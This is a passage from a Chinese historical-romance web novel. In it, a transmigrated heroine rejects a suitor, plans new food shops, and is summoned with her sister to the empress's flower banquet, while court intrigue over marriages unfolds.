沈知蕴同娘亲舅母说话,知微心情不太好,便先带着丫鬟回去了。 夜色朦胧,春景撩人。 手里的灯笼摇摇晃晃的,照亮前行的路。 桃花梨花开的甚美,她低头懒洋洋的撇了两眼地上的落花,鞋子塌上去碾过,没一点留下欣赏的意思。 最是人间留不住,朱颜辞镜花辞树。 时光易逝容颜易老,活在当下吧,自己舒服就好。 她转头吩咐月痕先回去,“准备些热水,我要沐浴,嗯。”再准备一壶桃花酿吧,我自己走走,你先去忙吧。” 在自家府上,虽是夜晚,但到处都是守卫,几米一个灯笼,月痕不会担心小姐害怕,自是恭敬离去,此处离院子不远,小姐应该很快回来,她得赶紧回去准备。 知微百无聊赖的走着,心里盘算着要再开个什么铺子,儿女情长这东西,实在不适合她,她现在就是一整个的事业脑。 却听身后传来一阵急促的脚步声,一句不甚高亢的知微表妹,将她唤住。 她停下脚步,转头看向来人。 是聂斐然。 月光如水,衬的这人的面孔更加白皙,乌发被玉冠高高束起,面如冠玉目若朗星,身上依旧是有些厚重的月白色披风,还是那幅不食人间烟火的模样。 应是走的急了,他额前几缕碎发轻轻散落,呼吸有些粗重,待人在不远处站定,竟叫人觉得有些莽撞。 还是愣头青那种。 知微只淡淡看着他,眼神无波无澜,她算是看的透透的了,最坏的就是这个,也不知跟谁学的,惯是个会装模作样的。 她也不言语,静等着聂斐然开口。 聂斐然有些紧张,他手虚握成拳,想开口却突然咳嗽起来,直到一张俊脸面带潮红,才停了下来。 知微挑着眉,饶有兴致的看着他的假动作。 聂斐然清了清嗓子,睫毛扑闪扑闪的,他心里带着些忐忑,语气却愈发诚恳起来:“表妹,今日之事,是我带的头,还请表妹责罚,表妹不要生气,为兄只是,只是。” 知微直接笑出声来,只是这笑意并未达眼底,她淡淡开口,“只是什么?” 聂斐然再次轻咳两声,似是做了个深呼吸,一双美眸满含深情,模样十分真挚道:“只因为兄心悦表妹,当时着急才会,才会挑拨淮阳他们去闹,还请表妹不要介怀,原谅为兄。” 知微的声音却冷淡了许多,直言道:“表兄心悦的也是小时的我吗?” 复又自嘲的笑了笑,喜欢谁都用,干脆利落道:“不管表兄心悦的是如今的知微,还是小时的知意,知微暂时没有嫁人的想法,还请表兄以后保持距离,不要再逾矩了。” 她不是原身,这些感情,她无福消受。 说完她看也不看对方便转身离去,她走的很快,聂斐然怔愣了片刻,一张俊脸上满是愕然,他没想到表妹拒绝的如此干净利索。 待反应过来之后,聂斐然小跑着跟了上去,应是跑的急了,在差点触碰到知微衣袖的时候却忽的踉跄几步,整个人跪在了地上,剧烈的咳嗽了起来。 前方的知微叹了口气,这人不是装上瘾了吧? 却也知道自己是不能两人丢下不管的。 她转身蹲下查看聂斐然的情况,见人还是不住的在咳嗽,丝毫没有停下来的意思,这才着急起来。 她一边将人扶起,一边大声呼喊着下人。 在她的手掌触碰到聂斐然胳膊的时候,聂斐然的却忍不住的颤抖起来,知微的手触碰到他了!他为这初次的亲密接触激动到不能自持。 知微却以为他是不舒服到颤抖,心里更加着急,扶着人的手也更加用力起来。 可是在她看不见的时候,聂斐然悄悄勾起了唇角,眼眸中闪烁着得逞的光。 有下人听到声音跑了过来,知微忙道,“去请神医过来给斐然少爷看病!” 聂斐然却摇头按住了知微,他已渐渐停了下来,只是声音带着嘶哑,“无事,叔公在喝酒呢,表妹送我回院子,我用些药丸便好。” 知微料想这人身上肯定是有药的,皱眉端详这人的脸色开口道:“表兄身上可有带的药丸?前面就是我的院子,表兄去吃了药再走吧?” 聂斐然却红了脸,低垂着的眼眸闪闪发光,他深吸口气,不敢忘却男女大防,毕竟这是在表妹府上呢,他为难道,“夜深了,我,我去表妹院子不太合适,我还是回去吧,表妹,送我可好?” 他抬起眼望着知微,眼眸澄澈泛着水汽,眼底下带着些许的期盼,一张小脸惨白兮兮,可怜巴巴的,似乎是真的不舒服,只想叫她送自己回去。 知微挑眉盯着这人,似要判断真假,最终还是叹了口气,道了句走吧,便叫下人扶着他,自己陪同一起走了。 不远处的屋檐上,暗夜咬碎了一口银牙,狗崽子!可太他妈会装了。 刚才他们一行人正站在灯下,暗夜瞧的分明,那聂斐然就是装的!偷偷勾了几次唇角,却在叶姨娘看过来的时候迅速变了脸! 他一向在黑暗中活动,做过特殊训练,有一双猫头鹰般的夜眼,他定不会看错! 暗夜长叹一声,侯爷啊,您要是再不回来,家就被偷了啊!属下是一点办法都没有啊! 远处审问犯人的顾铭珏再一次突然打了个喷嚏,他揉了揉眉心站了起来,示意卫虎继续。 他踱步在月下,这边的事情处理的差不多了,这两日便可出发去江南。他眼神忽而变的柔和起来,知微开了家面馆,他最爱知微亲手做的面,定是因为自己才开的。还得早些结束任务回去才好。 于是当他回书房看到一衣着单薄的女子端着碗汤面等在门口的时候,只冷哼一声叫人滚了。 庸脂俗粉,也敢学她! 看出来冯三皮又痒了! 于是,当夜,冯三因着嘴贱再一次被打了板子,卫虎帮着上药,这人还哼哼唧唧,“我不就是说了句侯爷爱吃汤面吗,我怎么知道这群人这么多心眼,奶奶的,明日小爷定叫这群狗东西吃不了兜着走!啊,疼,你轻点!” 卫虎冷哼两声却还是放轻了动作,“你管好你那张嘴!侯爷如今可憋着火呢!听说暗夜来信叶姨娘身边可围着的不是一个男子!” 冯三撇嘴想说活该,却咽了下去,转而说道:“你说这才几日,就三个爬床的了,难怪侯爷烦呢。” 而在这同一夜晚,同样的夜色下,醉醺醺的宋言澈却在夜色里上了一辆低调华丽的车架。 崔文远将他送到胡同口便离开了。 他赶着去温柔乡。 待宋言澈看清里头坐的是三皇子安若瑾的时候,一双眼睛忽的清明起来,他低声问安,安若瑾只意味深长的看着他,从前玩世不恭的脸上写满了阴鸷,“想往上爬,就要付出代价啊,宋大人。” “还请殿下差遣!” 安若瑾摇头晃脑,“不急,有的是机会,你先去户部任职,同沈大人共事吧,近水楼台,后边的可就看你本事了。” 最终知微还是没将聂斐然送回院里去。 姜恒送沈知蕴回院子,正好碰上了。 于是,在沈知蕴的眼刀子之下,转而姜恒送聂斐然回去。 姐妹俩人也不担心病人,转身亲亲热热走了。 徒留姜恒怒瞪聂斐然,他好不容易得来的和知蕴独处的机会! 聂斐然摸摸鼻子,咳嗽两声,有些心虚似的撇开了脸,转头道了句要赶回去吃药也走了,哪有一点不舒服的样子。 接下来便是姐妹谈心的时间。 沈知蕴问知微,可是不舒服,怎的看起来面色不好。 知微叹了口气,摇摇头,实话实说道:“姐姐,你说,咱们女子为什么就一定要嫁人呢。” 沈知蕴心里却是也有同样的疑问的,却不能明说,只拍拍她得手道:“可是女子,都是要嫁人的,不过,小妹你还小,爹娘不会着急的,放心吧。” 她点点头,又撇撇嘴,面上带着不忿,还有些许无力,“无论是聂斐然,还是宋言澈,诚然,他们确实都不错,但是今日我都给拒了,我才不要刚出虎穴,又进狼窝呢,多赚些钱财不香吗。” 沈知蕴自是知道这虎穴是哪里,小妹才归家没多长时间,亲事上确实不着急,只是她…… 她快至二十了,是该做个决断了。 当夜,姐妹俩都睡的很晚。 知微沐浴后便开始在纸上写写画画,她将丫鬟都撵了出去,自己开始描绘自己的商业版图。 第一家面馆已开,第二家铺子,做些什么营生呢? 奶茶店?酒楼?首饰铺子?…… 那边沈知蕴却是望着镜中面容娇好的自己,微微勾了勾唇角。 她目前最好的成婚对象不是别人,近在咫尺。 关于她对姜恒的感情,说爱吗?那定是没有的。 但是谈情,是有的。青梅竹马的情谊,那个她一眼就知道满心里都是她的男人,自是她的不二之选。 罢了,就他吧。 于是,在沈知蕴的有意示好下,二人的感情,迅速升温。 没隔几日,夕阳西下,便看到如此场景。 沈知蕴捧着一簇迎春花,一双美目波光粼粼,面颊绯红带着羞怯,眼尾上挑笑意盈盈的瞅着送花的人,直叫姜恒看直了眼,看红了脸。 知微和翠儿两人悄咪咪的躲在花丛中,抓着对方的手看的热血奋腾,恨不得上前推上一把,加快些进度。 今日她和翠儿回来的早。 如今正是杨柳依依,芳草青青,她想早些归家同姐姐商量外出踏青的事情,结果还未到沈知蕴院子便看到了如此劲爆的场景。 郎有情妾有意,好事将近啊。 姜恒心悦知蕴多年,今日公务外出时采了些野花给知蕴送来,他不善言辞,从前只觉得沈知蕴是那天上的月,自己是凡尘的泥,配不上她。 他无父无母,幸得沈家收养,已是幸事,他又怎的去妄想迎娶知蕴妹妹呢? 天上的明月合该配耀眼夺目的星辰才是。 可斐然却问他,你怎知她嫁的男人会对她好? 除了父母,没有人比你会更爱重她。 他如醍醐灌顶幡然醒悟,对啊,他相信没有人比我更爱她,没有人会比我对更她好! 于是,他渐渐的,开始大胆的像她示爱,如今,连养父养母都看出了他那点小心思。 只是他们虽乐见其成,却并没有点破,女儿嫁给姜恒确实是不错的,姜恒是他们一手养大的孩子,他们最了解了。 不过,他们将选择权教给了女儿,还是叫两人自己戳破那层窗户纸才好。 不多时,安若瑾便听到了手下人的汇报,砸了手上精致的茶盏,以往玩世不恭的脸上已是杀气腾腾,她想嫁她那个养兄?且问问他同不同意! 半晌之后他才挑起了嘴角,起身淡淡说了一句,那便提前行事吧! 鱼与熊掌,他自是都要。 那便,先吃鱼吧! 第62章 人随春好,春与人宜。已过上巳节,天气转暖,行人日益多了起来 人随春好,春与人宜。 已过上巳节,天气转暖,行人日益多了起来。 面馆的生意可谓是蒸蒸日上,知微已经在看东城的商铺了。 准备再开上一家面馆。 另外小吃铺子也在准备中了。 经得安定侯府一事,她的心态发生了翻天覆地的变化。 从前刚穿过来,只想着躺平,养老,做咸鱼。 现在却不想叫自己停下来。 虽然爹娘给的已经够多了,但是她还是觉得不够。不是不知足,是不能够停下来。 她怕自己有一天会真的变回从前那样,守着个男人过日子。 依靠谁都不行,自己强大起来才是对的。 首当其冲的,便是搞钱,搞更多的钱。 累吗? 她觉得自己目前的状态还是可以的,锦衣玉食,香车宝马,衣食住行都有丫鬟伺候,她除了要操的心多些,倒是没觉得累。 不过累就对了,毕竟舒服是留给死人的。 这古代,吃不饱穿不暖的多了去了,这点累算什么。 累到手的可都是真金白银啊,不要太香。 日头一日比一日暖和,大人也乐的带孩子出来了。 她准备在小吃铺子里上些奶茶,炸物,再搞些甜品,路边摊。 做个明档,地方要大一些,后院也可以用起来,搞个古代版的小夜市,铺子的名字就叫便民小吃吧。 所以她最近实在忙的很。 踏青的计划便搁置了起来,其实内心还是想去的。 三月露桃芳意早,细看花枝,人面争多少。 听说京郊附近有大片的桃林,如今开的正艳,她想去摘些桃花来,酿酒做桃花蜜桃花酥桃花烙都好。 但是最近沈知蕴忙着谈情说爱,翠儿课业繁重,念秦姐姐应是有任务,已经几日没见了,倒是给她递了个信儿,几日后过来。 所以她除了时不时的下个厨给家人打打牙祭,其余的时间便一心扑在事业上了。 虽然有时在面馆还会遇到宋言澈,对方还是那样深情款款的眼神,她也已经不甚在意了,只是微微点头打个招呼,匆匆忙忙便走了。 宋言澈也不做纠缠,他最近已经去了户部任职,沈大人对他的看法已经有了改观,来日方长,他自是再接再励,早一日抱得佳人归。 她也没有每日都会遇到聂斐然,这人被梅神医带着去京郊的温泉庄子治病去了,也好几日没见人了。 不过沈知蕴见她这么忙活愈发心疼起来。 明明可以做个十指不沾阳春水的娇小姐,她小妹偏不,非要自己挣一份事业来。 她心里又是疼惜又是佩服。 翠儿的课业挺忙的,沈知蕴便替代了翠儿,开始帮着知微忙前忙后,姐妹俩的感情倒是好了很多。 知微已经接受了这个姐姐了。 沈知蕴虽然聪明有心机,但是对待家人却是没的说的,心机手段也不会用在家人身上的,真诚又贴心,总是在细微处帮助她。 知微也发现,沈知蕴闺中密友并不很多,但是每一个都是拿真心对待她的,对她像对自己姐姐一样,十分敬重。 沈知蕴经常约小姐妹来面馆吃面,二楼有雅间,知微也会时不时的亲手做几个小菜招待,沈知蕴的朋友渐渐也都喜欢上了这个漂亮的妹妹。 一切都在朝着好的方向发展。 可就在这样一个月白风清的夜晚,沈知蕴又做了预知梦。 梦里,洪水如猛兽般袭来,将房屋冲塔,农田淹没,无数百姓被卷进大水中,活着的人流离失所,用尽力气逃窜,她眼看着一位妇人抱着襁褓之中的孩子被人猛的推下了马车,在下一瞬却被洪水吞没,她张大了嘴巴,挣扎着想要救人,却是无能为力。 下一瞬,是父兄领旨赈灾,爹爹冒着雨带着人去加固堤坝,差点冲入水中。 兄长为救被洪水冲走的孩子毅然决然的跳了进去,他一只手死死的抱住孩子,另一只手扒住了水中的大树,终于在众人的齐心协力之下,兄长和孩子都得救了…… 又是一瞬,她一身大红喜服,凤冠霞帔,上了花轿,待到了婚房,她看到挑开她红盖头的人,赫然是,安若瑾? 她挣扎着,想要醒来,却还是看到了红烛摇曳,热浪袭来,婚床摇摇晃晃…… 她猛的坐了起来,丫鬟听到动静连忙进来,却看到她满脸的汗水好似从水里滚了一圈。 她惊魂未定,丫鬟怕她出事,连忙玩去找府医。 沈知蕴摆摆手,道了句无碍,丫鬟喂她喝了几口水,又扶她去净室擦了擦身,她这才好受一些。 脑海里,却全是梦中洪水如猛兽般袭来,朝她张开了血盆大口,那场景真实到她以为自己也被吞了进去。 是预知梦吧? 可是,之前的梦中,她不是嫁给三皇子做侧妃了吗?一身红衣,凤冠霞帔,又是如何? 她摇摇头,不知为何,思趁良久,她想到一个可能。 除非,除非现实发生了改变,她躲过了一次算计,避过了成为三皇子侧妃,那么,她却极有可能还会同三皇子完婚,身份还是正妃。 大红婚服,凤冠霞帔,这就说的通了…… 可是,她现在的名声差的很,皇帝又为何会叫她同三皇子成婚呢。 她猛的将被子盖过头顶,这都是什么事啊!我的祖宗们,您们倒是叫我做梦做个明白啊!依旧这样不清不楚的,糟心死了! 沈知蕴睁着眼睛枯坐到天明。 她一直在找之前梦中父兄被杀害的原因,如今又做了这个梦,一切似乎能说的通了。 若是父兄真的去赈灾,那么,即使父亲做的很好,一朝天子一朝臣,新皇若是不喜父亲的,那么随便一个贪污救灾款项的名头下来,沈家便难逃一劫。 可是,她一个后宅女子,若是真发生了水灾,又如何改变当今圣上的想法,阻止父兄前往赈灾呢? 深深的叹了口气,她连发生水灾的方向都不知道,到底该如何避免这些事情的发生呢。 明明是个预知梦,她却是一点办法都有没有。 老祖宗啊老祖宗,您这是真的给晚辈出了个难题啊。 她脑中灵光乍现,对,阻止四皇子登基! 既然是四皇子处置的父亲,是不是阻止这人登基就好了?不叫他当皇帝,换一个! 这么想的话,三皇子,也不是不能嫁! 三皇子的城府极深,还是个惯会装的,韬光养晦不学无术这么多年,若说这人不想要皇位,打死她都是不相信的,只是,梦里三皇子到底是为何败下来的呢。 她紧皱着眉头,觉得自己一整个要疯了! 翻来覆去的直到天明,顶着两个浓浓的黑眼圈去给娘亲请安。 知微见着姐姐的模样,属实给吓了一跳,连忙叫下人去煮几个水煮蛋,趁热剥壳帮姐姐热敷。 见问姐姐失眠的原因根本问不出来,沈知蕴也无意给妹妹添堵,只叹了口气,道了声无事,便由着妹妹拿着鸡蛋折腾。 只是一阵喧哗之后,一名宫中的太监捏着公鸭嗓宣了皇后懿旨。 原是皇后举办赏花宴,各家公子和小姐都在邀请之列。 听说沈尚书近日找回了二女,心下好奇,特地搬了懿旨,点名许沈家长女沈知蕴,二女沈知微一同参加。 那公公对着众人说话,眼睛确实撇向沈知微的,这相貌,确实绝色啊,公公捏着嗓子道:“还请两位小姐做好准备,三日后一同参加赏花宴,咱家便告辞了。” 众人在听到懿旨点名叫沈知微一同参加的时候齐刷刷的变了脸色。 高氏呆愣当场,丁嬷嬷最先反应过来,拍拍夫人的胳膊,从袖口里取出荷包双手递给了公公,那公公垫了垫,应该是满意的,小声说了一句,“不要试图想法子逃避,皇后娘娘可是十分想见沈二小姐的。” 一句话,宛如晴天霹雳。 将宫中来人送走之后,一屋子的人皆是愁眉苦脸。 这赏花宴,每年都会举办两次,一次春季,春季一般为上巳节前后,秋季自是在重阳节前后,但是近几年沈家是无人参加的。 赏花宴,也算是相亲宴,世家的公子小姐都在赏花之列,从前那位皇后惯喜欢给世家贵女赐婚,以彰显她的恩德。 虽成了几对,却也有不顾皇家天颜,拼死不愿的。 所以像沈鸿这种不愿意站队的朝臣,便很少叫女儿参加赏花宴。 而如今的这位成了皇后之后,倒是很少在赏花宴上赐婚,即使赐,也是两家有意结亲的。 只是这次皇后在明知知微从前的身份,又强行叫人参加赏花宴的目的,却真的有些耐人寻味了。 小舅舅高全还算冷静,“不必愁眉苦脸的,小题大做,妹夫是朝中重臣,此次又是皇家赏花宴,皇后必不会明目张胆的动手的,还是待妹夫回来再从长计议吧。” 聂斐然不在,同梅神医一早便出去了。 高淮阳不忿道:“这个皇后手也太长了!纵的宫女几次害小表妹不成,这又要使坏!” 他话刚一说完便被母亲啪的一声给打了,王氏怒斥:“这话岂是你能说的!传出去咱们一家都要完蛋,你给我闭嘴!” 虽然大家都同意,但是这话确实是不能说出来的。 那是皇后,一国之母,随便给个大不敬之罪就是要一家人掉脑袋的。 只是现在一家人愁云惨淡,知微归家后从不参加各府的活动,也未在京城世家圈子露过面,低调的很,任谁能想到皇后整这一出呢? 直接颁了懿旨,点名道姓的要求知微前往。 也不知知微是扒了她家祖坟还是怎么,如此阴魂不散! 知微的手被娘亲死死的攥着,翠儿想到之前发生的事情,竟然掉下泪来。 知微扯了扯嘴角,安慰众人道:“哪里有你们想的那么吓人,兵来将挡水来土掩,陛下乃是明君,断不会叫臣子好不容易找回的孩子出事的。我想,皇后对我也只是迁怒,应该没那么严重的。” 沈知蕴眉头紧皱,半晌才发出一声叹息。 皇后在闺中时就是出了名的睚眦必报,此次小妹真的是凶多吉少。 这可怎么办呢! 对!国安县主! 她眼睛忽的亮了起来,忙道:“无事,小妹当日只要同国安县主待在一起,皇后必不敢轻举妄动的!” 说的众人眼睛都亮了起来,却听下人来报,念秦姑娘来了! 众人仿佛看到了希望,急忙起身迎接。 念秦来的路上已经收到了消息,这个皇后啊,是愈发的不成样子了,一点一国之母的气度都没有。 她刚一回来便得了主子的信儿,主子叫她过来安抚沈家人,有主子在,知微定不会出什么事的。 若是知微真的出事,只怕安定侯归来会拼了这条命也不要也会咬掉她护国公府的一层皮来,她这个皇后,也就坐到头了。 第63章 沈鸿下值后归家,脸色也沉的厉害。他已经知道了赏花宴的事情。…… 沈鸿下值后归家,脸色也沉的厉害。 他也已知道了赏花宴的事情。 且到时候,皇帝也是会露面的。 陛下在议事之后将他留下,说是聊聊家常。 他甚为惶恐。 陛下一早就知晓他找回二女的事情,今日有意无意的提到了安定侯,话语间竟有给安定侯和知微赐婚的意思。 沈鸿吓的冷汗直冒,他刚找到的闺女,刚走出的狼窝,他万不可能再叫回去的。 沈鸿一时间竟老泪纵横,他忍不住向皇帝哭诉自己和妻子对女儿失而复得的珍视,搞的皇帝最后赐婚的话到底没说出口。 皇帝也是有女儿的,且是千娇百宠,自是能体会沈鸿这个当父亲的心情,听到沈鸿说想多留闺女两年便将赐婚的话给咽了回去。 倒也不急,反正铭珏同那沈知微已经有了肌肤之亲,那沈知微就算是貌若天仙也已不贞,除了顾铭珏哪个会娶? 他之后找机会再赐婚便是了。 顾铭珏最近给皇帝的密信中总是会提上一句沈大人,那点子心思昭然若揭。 这么多年了,皇帝午夜梦回总能梦到顾老侯爷对他声泪俱下的控诉,罢了,算是他这个皇帝欠顾家的。 婚暂时就不赐了,就沈鸿那个宠女儿的样子,现在提定是不依的,也不能寒了忠臣的心啊,以后吧,以后总能找补回来。 一个女子而已,兴许过两年顾铭珏的心思也就淡了,他再给指上一门亲事便是。 若顾铭珏还惦记着人家,两年时间已过,沈鸿也不能再说出想留女儿两年的这种话了。 沈鸿还未出宫门,便有相熟的公公告知了他赏花宴的事情。 气的他一口气没上来,差点憋了过去。 这皇后又搞什么! 他小女儿归家没几日,倒叫着皇帝皇后双双惦记上了! 还有安定侯,竟然敢来阴的!气煞他也! 沈鸿忍着怒气不动声色的谢过,转头便出了宫。 这个皇宫,他是一秒也不想多呆! 皇帝有心给知微赐婚的事情,沈鸿先瞒了下来,妻儿谁也没提。 这事情还得他自己去想个万全的法子来,能推的了一时,推不了一世。 马上给知微成亲也不现实,那样可就是欺君了,他自己说了想多留女儿两年的。 这可叫他如何是好啊! 他一回府,便见众人皆是愁眉苦脸,为赏花宴一事发愁。 他摆摆手,叫众人不要多想。 到那日众多的世家贵女,皇后想做什么是轻而易举的事情,但是皇后也是有数的,他的女儿若出了岔子,他拼了这条老命不要也是要去讨个公道的。 且陛下有心赐婚一事,只怕已经穿到了皇后的耳朵里。 皇后再不喜知微,也不会轻举妄动。 而他此时担心的是,此事,若是皇后推动的,又该如何是好…… 护国公府啊,叹了口气,沈鸿想辞官的心已经达到了顶峰。 是夜,皇宫。 今日不是初一也不是十五,皇帝很难得早早的来到皇后的寝殿,帝后一起用膳。 皇帝着宫人给皇后也倒了杯清酒,二人对饮。 安皇帝虽已过不惑之年,但是除了眼周的皱纹,保养的极好,是个细皮嫩肉的帅大叔。 而皇后二十多岁,平时的打扮却有些故作老成,一身明黄的宫装穿在身上,却非要做个刻板的发型,唇脂也是暗红的,也难怪安皇帝爱去几位新纳的贵人那了。 倒是今日的皇后未施粉黛,一身雪白常服在身,叫安皇帝眼睛亮了又亮,似乎是回忆起皇后郑裴儿刚进宫时的情景了,内心不免柔软了几分。 “听说皇后一早便下了懿旨,叫沈鸿的两位女儿一同参加赏花宴?沈鸿刚找回的女儿,皇后可别将人吓到了。” 郑佩儿看了皇帝一眼,那眼神多少有点小女儿的娇嗔在里面,“嫔妾知道,嫔妾就是好奇,想见见罢了,这沈家长女这些年也是很少参加宫中宴会,如今沈夫人已大好,嫔妾便想着召她们姐妹进宫顽顽,也叫京中的贵女们都认识认识。” 这话实在有些牵强了,不过皇帝点到为止,并不多说,只要皇后不闹幺蛾子,他也是乐意给皇后面子的。 毕竟上次是他下了皇后的面子,如今皇后想找补回来,只要不太多分,他倒是愿意睁一只眼闭一只眼。 今夜皇帝不出意外的留宿在皇后宫中了,后宫众人听说了之后表情倒是出奇的一致。 咱们这位皇后一贯标榜自己大度仁善,可是该这争宠的手段是一点没*少用。 除了平日打扮的老成了些,但是只要是皇帝早去一会,人定是会叫她给留下的。 后宫这些女子也都习惯了。 三日后的赏花宴,一些宫妃也是要参加。 每一年的赏花宴想出风头的女子都不少,听说皇后还给几家搬了懿旨,邀请了几位同六皇子差不多年纪的贵女呢,这看样子是要给六皇子选妃的意思了。 六皇子年过十六,成亲不着急,婚事确实也该定下了,只是三皇子四皇子也都没有正妃呢。 所以皇后同皇帝说这事的时候,安皇帝也是惦记着呢,三儿子整日花天酒地不务正业,也不找媳妇,四儿子吧,侧妃侍妾一堆,也没生出个子嗣来,后院乱糟糟的也没个女人打理,是该娶个正妃来主持大局。 只有二儿子是个不叫他操心的,但二皇子天生残疾,注定与皇位无缘,如今二皇子已封了亲王,在封地过的逍遥又自在。 六儿子是不错,只是,养在皇后膝下多年,懦弱了些,也不知道这颗心是否已经偏向护国公一脉了啊。 他是皇帝,所要考虑的自是甚多。 三皇子乃他同发妻所生,他用的心思也最多,只是这孩子。” 罢了,他再观察观察吧。 话说皇后见知微的目的其实简单的很。 失了一个用惯了的贴身宫女,她不自在的挺长时间。 顾铭珏叫她丢了面子,她堂堂皇后,总得找回来。 她自是不会在宴会动什么手脚的,一个侯府小妾而已,她也配? 她倒是会宣扬宣扬这位的事迹,一日为妾,那便是终身的污点。 陛下还想给顾铭珏同这女子赐婚?呵,那倒是正好,省得父亲再分别想法子对付这两家了。 想到顾铭珏,她就气到咬牙,十年了,那件东西一直没有找到! 这些年她叫李月清快将侯府翻过来了连个蛛丝马迹都没有发现! 或许,东西并不在安定侯府?不行,明日一早她还得给父亲递个信,换个方向来查才是。 三日后便是赏花宴。 知微知道轻重,并没有再出门了。 她一直在府上学习宫中礼仪,沈知蕴还要同她介绍京中各家的关系势力,需要注意的事项,可谓是听到头大。 绣娘也在连夜赶制姐妹俩进宫需要穿的衣裙,没办法,再不甘愿,表面功夫也得做到位。 进宫那日终是到了。 姐妹二人一早起来梳装打扮收拾齐整的出了府。 进宫是不能带侍女的,只能姐妹二人自己进去。 好在红叶和念秦也是要去的,二人已经等在马车上了。 县主的双头马车车厢宽大,坐四人依旧宽敞。 红叶打量二人的衣着,点点头。 知微一身桃粉色长裙,外头是同色披风,发髻上虽是整套的头面,却并不耀眼,只是鎏金的钗环,并无宝石加成。 沈知蕴则是一套碧色长裙,浅色披风,头上也是一套低调华丽的头面,姐妹二人的打扮算是中规中矩,低调华丽,显然并不想出风头。 红叶还是一身夺目的红衣,她高调惯了,头上的红宝石头面反射着夺目的光彩,可谓是熠熠生辉,一如既往的大气凛然。 念秦今日是以贵女的身份参加的,她在受邀之列,同红叶一样,她本为将门之后,功臣遗孤,在皇帝那也是经常露面的。 加上她为女医,经常为太后诊脉,参加个赏花宴倒也不是什么稀奇的事情。 知微靠着念秦,悄咪咪的从腰间解下了几个荷包,每人递过去一个。 不大的荷包里装满了拇指大的点心,怕行动间点心被挤碎,所以她做的是软糯的麻薯,大拇指那么大的点心,一口一个,软糯劲道,香甜可口。 在宫中参加宴会应该没什么机会能用上热饭,用多了出恭也麻烦,所以她便提前准备了些点心,饿的时候吃上两个,不饿的时候,用来打发时间也是极好的。 沈知蕴有些无语,她都不知道小妹是什么时候准备的。 三人眼中带着无奈,笑着接过了荷包。 要不说这孩子心大呢,都进宫了也不担心自己,却是不忘了自己的肚子。 红叶直接打开捏了一个塞进嘴里,应是觉得味道属实不错,朝她竖了个大拇指,夸赞道,“确实不错,甜甜糯糯的。听念秦说你要再开个铺子,小吃甜点都有,就你这用在吃食上的脑袋瓜,不用来赚钱确实可惜了。” 这一下可给知微夸的找不着北了,大眼睛亮晶晶的,已经忘了进宫的紧张,“姐姐喜欢吃就好,以后知微经常做。啊,”她忽而想道了什么,继续道:“红叶姐姐,您说我训练一批人,将这店铺同时在各地开起来怎么样?” “各种小吃,点心,饮品都有,像小吃街一般!” 红叶认真的思考了片刻,行啊!怎么不行!确实可行! 红叶点头,“想法不错,可以实施,可是需得想好要在哪些地方开啊。” 知微咬着嘴角思趁了半晌才开口,“可以先在各地的省会城市开起来,一般省城比较繁华,百姓的生活不会差,有余钱打牙祭,另外,店铺开的好了,也能带动当地的就业,嗯。”就业就是找工作,我觉得应该能行,我对自己做出来的吃食还是很有信心的。” 毕竟咱是千年后的新新人类,什么好玩意没吃过,她自幼就开始跟着家人进厨房,自是信心满满。 红叶这下对知微更加满意了,直接问道:“不错,只是,你告诉我,是想同我一起做?” 知微脸有些红,小鸡啄米点头,“姐姐的人脉和生意都广,如果姐姐愿意的话,咱们可以合作。” 红叶这下倒笑开了,这丫头还不好意思起来,赚钱的买卖,她哪里会不同意。 她刮了刮知微的鼻子道:“嗯,这事姐姐应了,回去写个详细的流程给我,咱们再议。” 知微嗯嗯点头,红叶又笑道:“进宫也别怕,跟在我和念秦身边就是,皇后顾忌你父亲的面子不会轻举妄动的。倒是陛下。” 红叶想说陛下有意赐婚一事,眼睛扫了扫姐妹二人,叹了口气,还是算了,转而道:“陛下是个和善的美男子,你见了就知道了。” 一听是个美男,知微便来了兴趣,不断点头。 一旁默不作声的沈知蕴听到红叶说陛下的时候心里咯噔一声,她几乎能确定,县主本想说的,定不是陛下的容貌,而且县主扫了她们姐妹一眼,这一眼,到底意欲何为呢…… 第64章 皇后宫中。六皇子安正修正同皇后上演一出母慈子孝的温情戏码。 皇后宫中。 六皇子安正修正同皇后上演一出母慈子孝的温情戏码。 只是这场演绎,在六皇子听宫女通传护国公府大小姐郑馨儿以至殿外之时戛然而止。 郑皇后看的分明,修儿在听到馨儿名字的那一瞬便露出了不耐的表情。 虽然只那一瞬,但是还是没有逃过郑皇后的眼睛。 郑皇后并没有在意,修儿愿意不愿意喜不喜欢的馨儿都没关系,她要的只是馨儿是安正修的正妃。 安正修虽讨厌极了这位名义上的表妹,但是表面上的功夫还是会做的。 六皇子安正修年十六,平日里一向温和待人,是几位皇子里最温柔端方的。 加上他面容清俊,芝兰玉树,是个笑如暖阳的翩翩少年。 也是郑馨儿的心上人。 自两年前十二岁的郑馨儿确定了自己的心意之后,便开始为爱改变。 她放弃了自己最爱的长鞭,换上了繁琐华丽的衣裙,像京中其他的贵女一般学起了琴棋书画,念起了女德女训。 只是学成了四不像。 泼辣的性格倒是一点没变,甚至变本加厉,只是平日里靠着清丽的外貌时常会捉弄人,反差感极大。 在安正修眼里,她便是娇纵跋扈的代名词,加之只要遇上,郑馨儿便如狗皮膏药一般缠着他,故弄姿态加上矫揉造作,他更是烦上加烦,一眼都不想见到。 郑馨儿见六皇子也在,夹着嗓子,含羞带怯的叫了一声表哥,叫安正修起了一身的鸡皮疙瘩。 安正修面上不显,抱拳回了声表妹,却转而跟母后提出要去接引好友,便先行至御花园。 郑皇后自是应允,眼看心上人走了的郑馨儿气恼的跺了跺脚,被郑皇后点了点脑袋,恨铁不成钢道:“你这孩子,修儿又跑不了,你何必每次一来都缠着他?人都被你缠怕了。” 郑馨儿不依,满头珠翠乱飞,撅着嘴撒娇道:“哎呀姑母,人家喜欢表兄嘛~表兄今日都没有夸馨儿的衣服好看呢。” 郑皇后这才打量一番,今日馨儿一身珊瑚色衣裙,头上是一整套的珍珠头面,确实是光彩夺目,只是,孩子到底才十四岁,这打扮有些老成了,好看是好看,少了几分小女儿家的娇羞,多了几分成熟,还带了她年轻时的几分影子。 郑皇后拿这丫头一点办法也没有,“好好好,趁着人还没走远你赶紧追去,本宫要被你晃的头都晕了。” 郑馨儿这才露出笑脸来,转身提起裙摆便跑了出去,郑皇后见她跑的匆忙,无奈的摇摇头,命宫女跟上去伺候。 宫女跟着一起跑出来,好不容易找到郑馨儿,却见郑馨儿站在走廊四处张望,等走近了才听郑馨儿懊恼道:“表兄走的怎这样快,人家小跑都没有跟上。” 